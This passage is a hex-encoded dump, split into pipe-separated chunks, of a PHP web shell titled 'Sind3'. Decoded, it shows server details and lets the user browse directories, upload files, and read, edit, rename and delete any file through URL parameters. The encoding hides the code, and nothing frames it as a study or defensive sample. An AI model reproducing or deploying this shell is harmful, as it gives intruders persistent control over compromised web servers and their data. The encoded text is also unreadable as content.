6F|6E|74|656E74|2D|54|7970653A|20617070|6C|69|63|61|74|696F6E|2F6A736F|6E|2729|3B|0A202020|2020|20|202020|20202020|20|20|20656368|6F206A73|6F6E|5F|65|6E636F|646528|24|7265|7370|6F6E73|6529|3B0A2020|202020|20202020|202020|2020|2020|65786974|3B0A|20202020|20202020|20202020|7D20656C|7365207B|0A20|20202020|202020|20|2020|20202020|20686561|64|6572|282743|6F|6E74656E|742D5479|70|653A2061|7070|6C|69|636174|69|6F6E2F6A|736F6E27|293B0A|20202020|202020|2020|2020|2020|20|20|20656368|6F206A|736F6E5F|656E|636F64|6528|5B277374|617475|732720|3D|3E2027|6661696C|6564|272C20|276D|73|6727203D|3E202746|69|6C65|20|6E6F74|20666F75|6E64275D|293B|0A|202020|20202020|20|20|202020|20|20202065|78|69743B0A|20|2020|20202020|2020|2020|207D20|2020|20|2020|20200A|202020|20202020|20|7D|2065|6C73|656966|202824|69|7341|6A61|7829207B|0A20|20202020|202020|20202020|2466|696C|655061|7468|20|3D|207265|616C7061|74|68|28|24|64|20|2E2044|4952|454354|4F52595F|534550|4152|4154|4F52202E|2024|5F4745|545B|27|66696C|6527|5D293B0A|202020|20|20202020|2020|2020|6966|20|282466|696C|65|5061|746820|2626|20|69735F|66696C|6528|2466|696C6550|6174|68292920|7B0A|20|20|2020|202020|202020|202020|202020|2463|6F6E7465|6E74|203D2066|69|6C65|5F67|65|745F63|6F6E7465|6E747328|2466696C|65506174|6829|3B0A20|202020|2020|2020|2020|20202020|20|2065|63686F|2027|3C6832|3E456469|74|2046696C|65|3A2027|20|2E20|68|746D6C|7370|656369|616C63|68|61727328|24|5F|47|45545B27|66696C65|275D|29|202E|20|273C2F|68323E27|3B0A2020|20202020|20|2020|2020|202020|20|20|656368|6F2027|3C646976|20636C|61|7373|3D22|74|65726D69|6E616C|2D|62|6F7822|3E273B|0A202020|202020|20202020|20|2020|202020|6563|686F|20273C66|6F72|6D2063|6C61|73733D|2261|6A|617846|6F726D22|20|6D657468|6F643D22|504F53|542220|6163|74696F6E|3D22|3F616374|696F6E|3D65|64697426|643D27|202E2068|6578|28|246429|202E|202726|66|696C|653D2720|2E20|75726C|656E63|6F6465|28245F47|45|54|5B27|66696C|65|27|5D29202E|20|27|223E273B|0A202020|20|20|20202020|20202020|202020|6563|686F20|273C74|6578|746172|65|6120|6E616D65|3D22|636F6E74|656E74|22|20726F|77733D|2231|30222063|6F|6C73|3D2235|3022|20726571|75697265|643E2720|2E|2068746D|6C73|70656369|616C|6368|6172|732824|636F6E74|656E|742920|2E20273C|2F74|6578|74617265|613E3C|62723E|27|3B0A20|2020|2020|2020|20|20|20|20202020|2020|6563686F|20|273C6272|3E3C696E|707574|2074|797065|3D|22|7375626D|69742220|76616C75|65|3D22|53|61|76|65|223E20|27|3B0A|202020|20|20202020|2020|20202020|2020|65|6368|6F20|273C|62757474|6F|6E207479|70|653D2262|7574|74|6F6E2220|6964|3D|2263616E|63|656C41|63|7469|6F|6E|22|3E4361|6E63|65|6C3C2F|627574|746F6E3E|273B|0A202020|202020|2020|20|202020|2020|202065|63686F|20273C2F|66|6F726D3E|273B0A|202020|20|20|202020|20202020|2020|20|2065|63686F|20273C2F|6469|763E3C68|723E27|3B0A2020|20202020|2020|20|2020|207D|0A2020|2020|20202020|202020|20657869|743B0A|20|20202020|20|2020|7D0A|20202020|7D0A|7D0A|3F3E0A3C|21444F43|5459|504520|68|746D6C3E|0A3C68|746D6C|3E0A3C|6865|61643E|0A202020|20|3C6D|65|74|612063|686172|7365|743D22|5554462D|38223E|0A2020|2020|3C|7469|746C65|3E5369|6E|64333C2F|746974|6C653E|0A|20202020|3C|212D2D|204C6F61|64|20556275|6E|7475204D|6F6E6F|2066726F|6D20476F|6F|67|6C6520|466F6E74|7320|2D2D3E0A|20202020|3C6C696E|6B|20687265|663D2268|7474|70733A2F|2F666F|6E7473|2E676F|6F67|6C6561|70|6973|2E|636F6D|2F63|737332|3F6661|6D|69|6C793D55|62756E74|752B4D6F|6E6F|2664|6973|706C|61|79|3D73|776170|22|207265|6C3D22|7374|796C65|7368|65|6574|223E0A20|202020|3C737479|6C65|3E|0A202020|2020|2020|202A207B|2062|6F78|2D73697A|696E67|3A|20626F72|6465|722D626F|783B207D|0A2020|2020|2020|202062|6F6479|207B0A|202020|2020|20202020|2020|20626163|6B67|72|6F756E|642D63|6F6C|6F|723A2072|67626128|33372C20|33372C|2033372C|20302E38|293B20|2F2A|20477261|79207769|7468|20736C|69676874|207472|616E|73|70|6172656E|6379|202A2F0A|2020|20202020|20202020|20|20636F|6C|6F723A20|23|666666|3B|0A20|202020|20202020|202020|2066|6F6E742D|66616D69|6C|793A|2027|55|62756E|7475204D|6F6E|6F272C20|6D6F|6E6F|73|70616365|3B0A2020|202020|202020|2020|20206D|61|7267696E|3A20303B|0A202020|20202020|202020|2020|7061|6464696E|673A2030|3B0A|202020|202020|20207D0A|2020|2020|20|20|20|202E|636F6E|746169|6E6572|207B0A|2020|2020|20|202020|20202020|77696474|683A20|3630253B|0A2020|202020|20202020|202020|6D6172|67696E3A|20353070|782061|75|74|6F3B0A20|20202020|20|2020|20202020|706164|64696E|673A2032|307078|3B0A|2020|2020|20202020|20|20|202062|61|63|6B67|72|6F756E64|2D636F6C|6F723A20|233232|32|3B0A20|2020|2020|20202020|2020|20626F|72646572|2D|72616469|75733A20|387078|3B0A20|20202020|2020|207D0A|202020|20202020|202E|6675|74657220|7B|0A2020|20|20202020|202020|20207769|647468|3A|20|36|30|253B|0A|2020|202020|202020|2020|20206D61|7267|696E|3A|20353070|78|20|6175|746F|3B0A20|20202020|2020|20|20202020|7061|64|64696E|673A|203230|70783B|0A20|20|2020|20202020|20202020|6261636B|67726F75|6E64|2D636F6C|6F723A20|23|3232323B|0A20|20|2020|2020|20|2020|20202062|6F72|646572|2D|726164|69|75|73|3A2038|70783B|0A2020|2020|2020|20207D|0A2020|20202020|2020|2E62|726561|64|63|72|756D6273|207B20|6D61|7267696E|2D|626F|74746F6D|3A|203135|70783B20|7D|0A20|20202020|20|20206120|7B20|636F6C6F|723A2023|3066|303B20|74657874|2D646563|6F72|617469|6F|6E|3A206E6F|6E653B|20|7D0A|20|202020|20|202020|613A|686F76|65|72|207B2074|6578742D|6465636F|726174|69|6F6E3A20|756E|6465726C|696E65|3B20|7D|0A202020|2020|2020|20746162|6C6520|7B207769|64|7468|3A|203130|3025|3B20626F|726465|72|2D636F6C|6C|6170|73|653A20|636F6C6C|61707365|3B206D|61|726769|6E2D|746F|70|3A203230|70|78|3B20|7D0A2020|20|20202020|2074682C|207464|207B2062|6F72|64|65723A20|3170|7820736F|6C|6964|2023|353535|3B|20706164|64696E67|3A|20387078|3B2074|6578|742D|61|6C6967|6E3A|206C|656674|3B|207D0A|20202020|202020|20|7468|207B2062|6163|6B|67726F75|6E64|2D636F6C|6F723A20|23333333|3B207D|0A|20202020|20|2020|20|69|6E70|75|745B74|7970653D|227465|7874225D|2C|20|746578|74|61726561|20|7B0A20|20202020|202020|2020|2020|77696474|683A2031|30|30253B0A|20202020|2020|20202020|20207061|6464|69|6E673A20|3870|783B0A20|20202020|2020|20|202020|20|6D617267|69|6E3A20|303B|0A|20|2020|202020|20202020|20|2062|6F7264|6572|3A2031|707820|73|6F|6C696420|23333333|3B0A|2020|2020|20202020|2020|2020|626F72|646572|2D72|616469|75733A|20|34|7078|3B0A|2020|20202020|202020|20|2020666F|6E74|2D6661|6D696C|793A20|275562|756E|7475|204D6F|6E6F27|2C|206D|6F|6E6F7370|616365|3B0A20|20|2020|2020|2020|7D0A|2020|2020|2020|2020696E|7075745B|74|7970653D|2273|7562|6D697422|5D2C|206275|7474|6F6E|207B|0A|20202020|20202020|202020|20626F|726465|723A|20317078|20736F|6C6964|202366|66663B|0A2020|202020|2020|20202020|20706164|64|696E673A|20|3470783B|0A20|20|20|2020|20|20|20|20|2020|20|6261|63|6B6772|6F756E64|2D636F|6C|6F72|3A|202333|33333B0A|20|20202020|2020|2020|202020|636F6C|6F723A|202366|66663B0A|20|202020|20|2020|202020|202063|7572|73|6F|72|3A20|706F69|6E74|65723B|0A2020|20202020|20202020|20|20|626F72|6465|722D7261|6469|75733A20|3470783B|0A|20202020|2020|20|207D0A20|20202020|202020|666F72|6D20|7B|206D61|726769|6E2D|62|6F7474|6F6D|3A2032|3070|78|3B|207D0A20|202020|2020|20202E74|65726D69|6E61|6C2D|626F|78207B|0A|20202020|20202020|20|20202062|61636B67|726F|756E64|2D63|6F|6C6F72|3A|20233232|323B0A|202020|202020|2020|20|202020|636F|6C|6F723A|2023|306630|3B|0A2020|20202020|2020|202020|20|70|61|646469|6E|673A|20|31|3570783B|0A|20202020|20202020|2020|2020|626F7264|65723A20|317078|20736F|6C6964|20|23|3333333B|0A|20|20|2020|20202020|20202020|62|6F72|6465|72|2D7261|64|697573|3A203470|783B0A20|20|2020|20202020|202020|20|6D|617267|696E2D|626F7474|6F6D|3A20|323070|783B0A|202020|20202020|207D0A|202020|20202020|202E7465|726D|696E|61|6C|2D626F78|20696E|70|75745B|74|797065|3D2274|65787422|5D2C0A|20|20202020|20|20202E|74|6572|6D|696E|616C|2D62|6F782074|65|787461|72656120|7B0A2020|20202020|20202020|20|20|62|61636B67|726F756E|642D636F|6C|6F723A20|23|3232323B|0A202020|202020|20202020|202063|6F6C6F72|3A202330|66303B|0A202020|20202020|202020|20|20|626F7264|65723A|20317078|2073|6F6C69|64202333|33333B0A|20202020|2020|20|207D|0A2020|20202020|20202E|6E6F7469|66696361|74696F6E|207B|0A2020|202020|20|20202020|202070|6F7369|7469|6F6E|3A|20|66|69786564|3B|0A|20202020|202020|20202020|20626F74|746F6D|3A2032|307078|3B|0A|202020|20|20|202020|2020|20206C65|6674|3A2032|30|70|783B0A20|202020|20|20202020|20202070|61646469|6E67|3A2031|307078|20|32|3070|783B0A|20|202020|20202020|20|2020|20626F72|6465|72|2D7261|6469|75733A20|3470|783B|0A|202020|202020|20202020|202066|6F6E74|2D66|61|6D696C|793A|202755|62756E|7475|20|4D6F|6E6F27|2C|206D6F|6E6F7370|61|63653B0A|202020|2020|202020|20202020|66|6F6E|74|2D73697A|653A20|31|34|7078|3B0A20|20|20202020|20|207D0A20|202020|2020|2020|2E737563|636573|7320|7B20|62|61|63|6B|67726F75|6E642D|636F6C6F|723A2023|30|61303B20|636F6C6F|723A|20236666|663B207D|0A|2020|20|20|20202020|2E6661|696C65|64|20|7B|20|6261|636B6772|6F|75|6E|642D|636F6C6F|723A2023|6130303B|20636F|6C6F723A|20236666|663B20|7D0A|20202020|202020|202F2A|2043|7573|746F6D20|6669|6C652069|6E|707574|20627574|746F|6E20|7374796C|696E6720|2A2F0A20|20202020|202020|2366|696C|6549|6E|70|75|74207B0A|20|202020|20|20202020|20|2020|64|6973706C|61793A|206E6F6E|653B|0A2020|202020|20|20|207D0A|2020|202020|20|20202E63|7573|746F6D2D|66|696C|65|2D|62757474|6F6E207B|0A20|20|2020|202020|2020|2020|20|62|6F726465|723A|2031|70|782073|6F|6C696420|236666|663B0A|202020|202020|2020|202020|2070|61646469|6E67|3A|2034|70783B0A|20202020|20|2020|2020|20|20|206261|636B67|72|6F|756E|642D636F|6C6F723A|2023|33|3333|3B0A2020|20|20|20202020|2020|202063|6F6C6F|72|3A20|236666|663B0A20|202020|202020|2020|2020|20|63|757273|6F723A|20706F69|6E|746572|3B|0A2020|2020|2020|20202020|2020|626F72|6465722D|72|616469|75733A20|3470|783B0A20|20202020|202020|2020|202064|6973706C|61793A|20696E|6C69|6E652D|626C|6F636B3B|0A2020|20202020|2020|7D|0A202020|203C|2F|737479|6C65|3E0A3C2F|68656164|3E0A|3C626F|6479|3E0A3C64|697620|636C|6173733D|22|636F6E|746169|6E6572|22|3E0A20|20|2020|26|7468|696E7370|3B26|7468696E|73|703B|267468|696E73|703B3C62|3E534552|562020|3A|3C|2F62|3E203C3F|3D206973|73|65742824|5F5345|525645|52|5B2753|4552|5645|525F53|4F46|54574152|4527|5D29203F|2070|68705F75|6E61|6D652829|20|3A2022|53657276|65|7220|696E66|6F726D|6174|69|6F6E20|6E6F|74|206176|61696C|6162|6C6522|3B203F|3E3C62|723E0A20|20202026|74|68696E|73703B26|74|6869|6E|73703B|267468|696E|73703B|3C623E53|4F4654|2020|3A3C2F|623E20|3C3F|706870|20656368|6F2024|5F|534552|56|4552|5B275345|52564552|5F53|4F|46|545741|52|4527|5D|3B3F3E3C|62723E|0A2020|202026|7468696E|73|70|3B26|7468|696E73|70|3B2674|68696E73|703B|3C623E49|50202026|6E627370|3B266E|627370|3B3A|3C2F623E|203C3F3D|20676574|68|6F|73746279|6E616D|6528245F|5345|5256|45525B27|48545450|5F48|4F|5354|275D2920|3F3E|3C6272|3E0A2020|20203C62|723E|3C623E|2623|38|3231|32262338|32|31322623|3832|31|32262338|323132|2623|38323132|26233832|313226|2338|323132|2623|38|32|31|32|2623|383231|3226|2338|3231|3226|23|38|3231|322623|38|32|3132|26|2338|3231|322623|38323132|26|2338|32313226|233832|31|32262338|32313226|233832|31|322623|38323132|26|2338|3231|322623|383231|322623|3832|31|32|2623|383231|322623|383231|32|26233832|31322623|3832|313226|233832|31|32|26233832|313226|23|38|32313226|233832|3132|26233832|31|322623|383231|322623|383231|32262338|323132|262338|32|313226|233832|31|3226|23383231|32262338|3231|32|2623|383231|3226|233832|3132|262338|3231|3226|2338|32|313226|233832|3132|26|2338|323132|262338|32313226|23383231|32262338|323132|26|23|38323132|2623|38323132|26233832|31|32262338|323132|26|23383231|32|26|23|383231|322623|3832|3132|262338|323132|262338|323132|262338|3231|3226|233832|31322623|38323132|26|23|3832|3132|26233832|3132|26233832|31|3226|23383231|32|26233832|31|3226|233832|313226|23383231|322623|383231|3226|23383231|32262338|3231|32262338|32313226|2338|3231|322623|38323132|26233832|3132|2623|383231|322623|38|32313226|2338|3231|32|2623|3832|313226|23383231|32262338|3231|322623|38323132|26|23383231|3226|233832|313226|233832|313226|2338|32|31|32262338|323132|26233832|31|322623|38|323132|26233832|313226|23383231|32|2623|38323132|26233832|31322623|38323132|26233832|3132|2623|38323132|262338|3231|32|26233832|3132|262338|32313226|23|383231|32|262338|32|31322623|3832|3132|26|2338|32|313226|23383231|32262338|32|31322623|3832|31322623|383231|3226|23|38|32|313226|2338|32|31|32262338|3231|32|262338|3231|32262338|32313226|23383231|32|262338|3231|322623|38323132|26|23|3832|31322623|383231|32262338|3231|32|262338|32|31322623|38|323132|26|23383231|32262338|32313226|23|38|3231|32|2623|38323132|2623|38|323132|262338|32313226|23|3832|3132|2623|38323132|26233832|31|3226|23|38|323132|262338|3231|3226|2338|32|313226|2338|3231|32262338|32313226|2338|3231|32|26233832|3132|26|233832|31|32|2623|3832|313226|233832|3132|262338|3231323C|2F623E|0A20|20|20203C62|723E3C|62|723E3C|666F726D|20|69643D22|75|706C6F|6164|466F726D|222063|6C61|73733D|22616A|617846|6F72|6D|22206D65|74|686F64|3D|22|504F5354|223E0A|2020|20|20202020|203C|6C616265|6C20|666F72|3D|22|66696C|6549|6E707574|222063|6C|61|73|733D2263|75|73746F|6D2D|6669|6C652D62|7574|746F|6E|22|206964|3D2266|696C654C|6162656C|223E4368|6F|6F73|65204669|6C653C|2F6C6162|65|6C3E|0A|202020|2020|202020|3C|696E7075|74207479|70653D22|66696C|6522|2069643D|226669|6C|65496E|7075|7422|20|726571|756972|65|64|3E0A20|2020|20202020|203C696E|70757420|74797065|3D|22|7375626D|69742220|76616C|75653D|2255|706C|6F|6164|223E|0A202020|20|3C2F|666F726D|3E0A0A|202020|203C62|723E|3C64|697620|69643D|226272|65|6164|6372|756D62|436F|6E|746169|6E657222|3E0A2020|20|203C3F70|68|700A2020|20|20|246B20|3D207072|65675F73|70|6C|6974|28|222F28|5C|5C5C|5C7C5C|2F292F|222C20|2464293B|0A|20|2020|20666F72|65616368|202824|6B20|61732024|6D|203D3E|20246C|29207B0A|2020|20202020|20|2069|66|20|28|246C|203D|3D2027|2720|2626|20246D20|3D3D2030|29207B0A|20|20202020|20|202020|20202065|63686F|20|273C6120|636C61|7373|3D22|61|6A782220|68|726566|3D223F|643D32|66223E2F|3C2F613E|273B0A20|20202020|20|20207D0A|20|2020|20202020|206966|2028|246C|20|3D3D20|27272920|636F6E|74|69|6E75|653B0A|202020|202020|2020|6563686F|20273C|612063|6C61|73733D22|61|6A7822|20|6872|6566|3D223F64|3D273B|0A20|20|2020|20|2020|2066|6F72|202824|69203D20|303B|20|24|69|203C3D20|246D|3B20|24|69|2B|2B2920|7B0A2020|20|20202020|20202020|2065|63686F|206865|7828246B|5B24|695D|293B0A|20202020|20202020|20|20|202069|66202824|692021|3D|20|246D29|206563|686F2027|3266273B|0A202020|2020|2020|20|7D|0A20|2020|20202020|206563|686F20|27223E27|2E24|6C2E273C|2F613E2F|27|3B0A20|20|20207D0A|2020|20|203F3E0A|3C|2F64|69|763E3C|6272|3E0A|3C646976|2069|643D|22|61637469|6F|6E|436F|6E|746169|6E65|72|223E3C|2F646976|3E3C6272|3E0A|202020|203C6469|76206964|3D22|66|696C|654C69|737443|6F6E74|61696E65|72223E0A|2020|20|20202020|203C|3F706870|0A202020|20202020|2024|656E74|72696573|203D|2073|63616E64|69|722824|6429|3B|0A20|20202020|20202024|6469724C|6973|74203D20|5B5D|3B|0A2020|2020|20202020|2466|696C65|4C6973|74203D20|5B5D|3B|0A20|20|2020|202020|2066|6F726561|63682028|24656E|7472|696573|206173|20|2465|6E74|72|7929|207B0A|2020|202020|2020|20|20|202020|6966|20|282465|6E7472|7920|3D|3D20272E|27207C7C|202465|6E7472|7920|3D3D|20|27|2E2E2729|20636F|6E74696E|75653B|0A|2020|2020|2020|202020|202020|2470|61746820|3D2024|64202E20|4449|524543|544F5259|5F534550|41|524154|4F|52|20|2E20|24|656E7472|79|3B|0A20|202020|2020|202020|202020|6966|202869|735F|646972|28247061|7468|2929207B|0A202020|202020|20202020|20202020|2020|24646972|4C69|73|745B5D|203D20|24|656E74|72793B|0A20|2020|20202020|20|2020|2020|7D20656C|73|65207B|0A2020|20|202020|202020|202020|20|20|2020|2466696C|654C|6973|745B|5D203D20|24|656E|7472|793B0A20|20|2020|2020|20202020|20207D0A|20202020|20202020|7D0A2020|2020|2020|20203F|3E0A20|202020|20202020|3C7461|626C653E|0A2020|20202020|202020|20|2020|3C|74686561|64|3E0A20|20|20202020|202020|20|202020|2020203C|7472|3E0A|20|202020|20202020|20|2020|202020|202020|2020|20|3C74683E|4E616D|653C2F|74683E|0A20|20|20202020|202020|202020|2020|202020|2020|203C|74683E53|697A653C|2F7468|3E|0A202020|2020|20202020|202020|202020|202020|20203C|74|683E41|637469|6F|6E733C|2F7468|3E|0A202020|202020|20202020|20202020|20203C|2F74723E|0A2020|20202020|20|20202020|203C|2F7468|6561643E|0A20|202020|20202020|2020|2020|3C7462|6F64|79|3E0A|20|20202020|20|20|20202020|20|3C3F|70|68700A|2020|20202020|20202020|2020|666F7265|6163|68|20282464|69724C69|7374|20|61732024|656E74|72792920|7B0A2020|202020|202020|20202020|2020|202024|7061|746820|3D20|2464|202E|2044|4952|454354|4F5259|5F534550|415241|544F5220|2E202465|6E747279|3B0A20|20|20202020|20202020|202020|20|202065|6368|6F20|27|3C74|723E|273B|0A|20202020|2020|202020|2020|20|20202020|656368|6F20|273C|7464|3E|3C61|20|63|6C61|73733D|22616A61|78|446972|222068|726566|3D|223F64|3D|27202E|206865|78|282470|61|7468|29202E20|2722|3E|27202E|20|6874|6D6C73|70|65636961|6C636861|7273|28|2465|6E7472|7929|202E20|27|3C2F61|3E3C2F|74|643E|273B0A20|20202020|20|202020|20|20|202020|2020|65|63|686F2027|3C74643E|2D3C2F|7464|3E273B0A|2020|202020|20202020|202020|20|202020|65|63686F20|273C7464|3E3C2F|74|643E273B|0A|202020|20202020|202020|20|20|202020|20|6563686F|20273C|2F7472|3E|27|3B0A|20202020|2020|2020|20202020|7D|0A202020|2020|20|2020|20|20202066|6F72|656163|68|20282466|696C65|4C|6973|74206173|2024656E|74727929|20|7B|0A2020|20|2020|20202020|202020|20|2020|2024|70|6174|6820|3D202464|202E|20|444952|4543|544F|52|595F5345|50|41524154|4F52|202E2024|656E74|72793B0A|20|2020|20202020|20|2020|202020|2020|206563|68|6F|2027|3C|7472|3E273B|0A202020|202020|2020|20202020|202020|2065|63686F20|27|3C7464|3E2720|2E20|68|746D|6C737065|63|69|616C6368|617273|2824656E|747279|29|202E2027|3C|2F74|64|3E273B|0A202020|20|20202020|2020|2020|2020|20206563|686F|20|273C74|64|3E|27202E|20|2869|735F66|69|6C|652824|706174|682920|3F2066|696C|657369|7A65|28247061|746829|202E20|27|2062|797465|7327|203A2027|2D2729|202E|20273C2F|7464|3E|273B|0A|202020|2020|202020|20202020|20202020|6563|686F20|273C74|64|3E|273B0A20|20202020|20|2020|20202020|20202020|656368|6F2027|3C612063|6C6173|733D|22|616A6178|4564|69|74|2220|68|726566|3D|22|3F6163|74696F6E|3D6564|69|74|2664|3D2720|2E206865|7828|24642920|2E202726|66696C|653D27|20|2E20|75|726C|65|6E636F|64652824|656E7472|79|29202E|202722|3E4564|69743C|2F613E|207C20|273B|0A|20|2020|2020|20202020|20|20|2020|20|20|20656368|6F20273C|61|20636C|6173|733D2261|6A617852|656E616D|65|22206872|65|663D|223F|6163|74696F|6E3D72|65|6E61|6D652664|3D27202E|2068|65782824|6429202E|202726|66696C|65|3D2720|2E20|75726C|656E|636F64|65|2824|656E|74|72|792920|2E202722|3E|52656E61|6D|653C2F|613E207C|20|273B0A20|202020|2020|2020|2020|20202020|2020|656368|6F20273C|612063|6C|617373|3D22|616A|61784465|6C65|7465|22206872|65|66|3D223F61|63|7469|6F6E|3D64|656C6574|6526643D|27|20|2E20|6865|782824|6429202E|20|2726|6669|6C|653D2720|2E|2075|726C|656E|636F6465|2824656E|747279|29202E20|27223E|44656C|65|7465|3C|2F|61|3E273B|0A202020|20|202020|2020|202020|20202020|6563|686F2027|3C2F7464|3E273B|0A|202020|2020|2020|202020|202020|20|20|20656368|6F20273C|2F|74723E27|3B|0A202020|2020|20202020|202020|7D0A20|202020|20202020|2020|20203F3E|0A2020|2020|20|2020|2020|2020|203C2F74|626F64|793E0A20|2020|20202020|203C|2F746162|6C|653E|0A|20|20|20203C|2F|6469763E|0A3C2F64|69|76|3E|0A0A|3C6469|76|20636C61|73|73|3D226E6F|746966|69636174|69|6F6E|222069|643D226E|6F7469|6669|6361|74696F6E|222073|7479|6C|653D22|646973|706C6179|3A6E|6F|6E65|3B|22|3E3C|2F64|6976|3E0A|0A3C7363|726970|743E0A2F|2F|20|53686F|7720|6E6F7469|66696361|74696F6E|20|696E|20746865|20626F|7474|6F6D20|6C656674|2063|6F726E|65723B20|61|75746F|2D|6469736D|69737320|616674|65722032|20736563|6F|6E6473|2E0A6675|6E6374|69|6F|6E|2073686F|774E|6F74|6966|69636174|696F|6E287374|61747573|2C20|6D736729|207B0A20|20|20207661|7220|6E6F74|6966203D|20646F63|756D65|6E|742E67|65|74456C|656D|656E7442|7949|642827|6E|6F|74696669|63|61|74|69|6F6E|27293B|0A20|202020|6E|6F7469|66|2E636C61|7373|4E61|6D6520|3D20|276E6F|74|6966|6963|617469|6F6E20|2720|2B20|737461|7475|733B0A20|2020|206E|6F74|69662E|69|6E6E|657254|6578|7420|3D206D73|673B0A20|202020|6E6F7469|66|2E7374|796C652E|6469|73|70|6C617920|3D202762|6C6F636B|27|3B|0A20|20202073|65|745469|6D65|6F757428|66|756E6374|696F6E28|29|7B206E|6F7469|662E|7374796C|652E64|6973706C|61|79203D|20276E6F|6E65|27|3B207D|2C20|3230|303029|3B|0A|7D0A0A66|756E|6374696F|6E|20|6C6F6164|4272|65616463|72|756D62|28|29207B0A|202020|20|766172|2064|203D|20|6765|7451|75|6572|7950|617261|6D2822|6422|29207C7C|2022|3C3F7068|70|206563|686F2068|657828|2464|293B|203F|3E223B0A|20|20202066|65746368|28273F|64|3D27202B|206420|2B202726|616A61|783D6272|656164|6372756D|62272C20|7B206865|616465|72|733A20|7B20|27|582D5265|71|756573|746564|2D|576974|68273A|2027584D|4C487474|70|52|6571|7565|7374|27207D|207D|290A2020|2020|2E|74|68656E28|726573|70|6F6E73|65203D3E|2072|65|7370|6F6E7365|2E746578|7428|2929|0A20|2020202E|7468|656E28|68746D|6C|203D3E20|7B0A2020|2020|2020|2020646F|63756D|656E742E|67|6574456C|656D|656E7442|794964|28276272|6561|64|63|72756D62|436F6E|746169|6E|65|722729|2E69|6E6E6572|48544D|4C|203D|206874|6D6C|3B|0A2020|20|207D29|3B|0A|7D|0A0A6675|6E63|74|69|6F6E20|676574|51756572|795061|72|61|6D286E61|6D652920|7B0A|20|20|202063|6F6E|7374|20|75726C50|6172|61|6D73|203D|206E|65|77|20|55|52|4C|53656172|636850|61|72616D73|2877696E|646F77|2E6C6F|636174|696F|6E2E|73656172|63|68293B|0A20|20202072|65|747572|6E207572|6C5061|72616D73|2E67|6574|286E|616D6529|3B0A7D0A|0A66|756E|637469|6F6E|20|6C6F|6164|4669|6C654C|697374|2829207B|0A2020|20207661|722064|203D2067|65|745175|65|72|79506172|61|6D|28226422|29207C7C|2022|3C3F70|6870|20656368|6F2068|65|7828|2464293B|203F3E22|3B0A2020|20|20666574|63682827|3F|643D|2720|2B2064|202B2027|26616A|61|783D3127|2C|207B2068|65|61646572|733A20|7B20|27|582D52|65717565|73746564|2D|57697468|273A|2027584D|4C|48747470|5265|71|756573|742720|7D20|7D29|0A|20202020|2E7468|656E2872|65|7370|6F6E7365|203D3E20|72|6573706F|6E|73652E|7465|7874|282929|0A|20202020|2E746865|6E|28|68746D6C|203D3E20|7B0A|2020|20|20202020|2064|6F63|756D|656E742E|67657445|6C656D|656E74|427949|64|282766|696C|65|4C697374|436F|6E|746169|6E6572|27292E69|6E6E|65724854|4D4C203D|206874|6D6C|3B|0A20|20202020|20|2020|61747461|6368|416A|61784576|656E|747328|293B202F|2F|2072|656174|746163|68|2065|76656E74|73|206166|74657220|757064|6174650A|202020|2020|2020|20726573|65744669|6C65496E|7075|744C6162|65|6C28|293B0A20|20|20|20|7D293B0A|7D|0A0A|6675|6E6374|696F6E|20726573|6574|46696C65|49|6E707574|4C|616265|6C282920|7B0A2020|2020|76|6172206C|61|62656C|203D20|64|6F6375|6D65|6E742E|67657445|6C656D65|6E744279|496428|2766696C|65|4C|6162|65|6C27|293B0A|20202020|69|66|286C6162|656C2920|7B0A2020|20202020|2020|6C|6162|65|6C|2E746578|74436F6E|7465|6E7420|3D2022|43686F6F|7365|2046696C|6522|3B0A|2020|20207D|0A7D|0A0A|6675|6E63|74696F|6E20|61|74|74616368|416A|61784576|656E|74732829|207B|0A202020|20|64|6F63|756D|65|6E74|2E|717565|7279|53656C65|6374|6F7241|6C6C2827|2E61|6A61|7844|656C6574|652729|2E666F72|45|616368|286675|6E|63|74|69|6F6E286C|696E6B|29207B|0A2020|202020|2020|20|6C696E|6B|2E6164|64|4576656E|74|4C69|737465|6E|6572|282763|6C69636B|272C20|66|75|6E|637469|6F|6E2865|2920|7B0A20|2020|20202020|2020|202020|65|2E707265|76656E74|4465|6661|75|6C742829|3B0A20|202020|202020|20202020|20|66657463|68286C69|6E6B|2E6872|65662C|207B2068|6561|64657273|3A207B|2027|582D|52657175|65737465|642D5769|74|68|273A20|27|58|4D|4C|487474|70526571|75657374|27207D|207D290A|202020|20202020|20|2020|20202E|7468656E|28726573|706F|6E|7365|203D|3E2072|65|73706F6E|73|65|2E6A|736F6E|2829290A|2020|20|2020|202020|20202020|2E|74|68|656E2864|6174|61203D|3E|207B|0A2020|202020|202020|202020|202020|2020|73686F|774E|6F74|69666963|6174|696F|6E286461|7461|2E|73746174|7573|2C206461|7461|2E6D7367|293B0A|20|20|20202020|2020|20|20|20202020|2020|6C6F|616446|696C654C|6973|74|28293B0A|20202020|2020|20|202020|20|20202020|20726573|657446|696C65|496E7075|74|2829|3B|0A2020|2020|2020|2020|20|2020207D|293B0A|202020|2020|2020207D|293B0A|20202020|7D293B|0A2020|202064|6F6375|6D|656E74|2E71|7565|72|79|53656C|65|6374|6F72416C|6C28272E|616A6178|4564|69|74|2729|2E666F72|45|6163|68|28|66756E|6374696F|6E|286C|696E6B29|207B|0A202020|2020|2020206C|696E6B|2E61|64|6445|76656E|744C|69|737465|6E6572|2827|636C69|636B|272C|206675|6E637469|6F6E28|6529207B|0A20|20|20202020|20202020|2020652E|707265|76|65|6E74|446566|61|756C74|28293B0A|202020|2020|20202020|20|20|206665|74|63|6828|6C696E6B|2E687265|662C207B|2068|65|6164|657273|3A207B|202758|2D|5265|71|75|65|73746564|2D5769|746827|3A20|2758|4D4C|48|747470|52|6571|7565|7374|2720|7D20|7D29|0A2020|20|2020|20202020|202020|2E|7468656E|28726573|706F|6E736520|3D|3E|207265|7370|6F|6E7365|2E746578|74282929|0A202020|2020|20202020|20|20202E74|68|656E28|68746D6C|203D3E20|7B0A20|2020|20|20|20202020|20|20|20202020|20|646F63|756D656E|74|2E676574|456C656D|656E|74|42|794964|282761|63|7469|6F6E436F|6E74|61696E|657227|29|2E69|6E6E6572|48|544D4C|203D2068|746D6C3B|0A2020|20|20|202020|20202020|2020|20|2020|61|747461|63|68|416A61|78466F72|6D|28|293B0A20|20202020|202020|20|20|202020|202020|61747461|63|6843|616E63|65|6C|457665|6E7428|293B0A20|20|202020|202020|20|202020|2020|20|207265|73|65|74|46696C65|496E|7075|744C6162|656C28|293B0A|202020|202020|20202020|20|2020|2020|20|726573|65744669|6C|65496E|70757428|293B0A20|20202020|20|20|20202020|207D293B|0A202020|202020|20207D|29|3B0A2020|20207D|29|3B|0A20|20|2020646F|63756D|656E7